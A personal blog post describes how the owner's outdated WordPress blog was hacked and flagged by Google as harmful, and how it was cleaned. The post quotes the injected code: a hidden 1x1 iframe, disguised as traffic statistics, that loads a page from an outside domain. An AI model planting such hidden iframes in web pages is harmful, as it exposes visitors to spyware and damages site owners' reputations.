Diyanazman has been hacked but it will not harm your computer!

This morning I realized that this blog visitor has dropped drastically. You know why??? This blog has been hacked and badware script has been installed in some of our postings!! This script has caused alarm to Google search engine and gives us disastrous remarks in their search engine results…
” This site may harm your computer.”

With such remark, we have been losing all the visitors from Google Search Engine that normally provides us almost 50% of total visitor each day.

This blog is the place where we write about our lives, activities and interests with hope that someday when we are older it will bring back memories; and this blog is also for our friends to get to know about our current news and maybe we can get new friends that read and leave some comments. It has never crossed my mind in trying to spam my visitors and send them spyware. So imagine my shock when this blog comes up with such a warning.

In order to regain our blog’s good name, I am trying my best to know what the real problem is.
One thing for sure is… someone has taken advantage of my laziness for not upgrading WordPress and used a known security exploit to add spyware script.
So, my first step is upgrading my WordPress and then changes my admin password.

To clean my current blog, I have loaded my blog a couple of time and by looking at the status bar..I realized that it also load some file from China IP. What I do next, I take a look at the source code and find below script at one of our post;

<!– Traffic Statistics –>
<iframe src=”http://www.wp-stats-php.info/iframe/wp-stats.php” frameborder=”0? height=”1? width=”1?></iframe>
<!– End Traffic Statistics –>

Once deleted, everything comes back to normal. I can surf my blog smoothly again and no China IP detected.
I am pretty confident that this blog has been cleaned now and I already asked StopBadware.org to review my blog.

Since the damage has already been done and our blog has been labeled as harmful by Google, I have no choice but to ask Google to review back this blog through Google Webmaster Tools. Hopefully, Google will remove “This site may harm your computer” tag as soon as possible because obviously no one is going to follow a link to my site with such a tag.
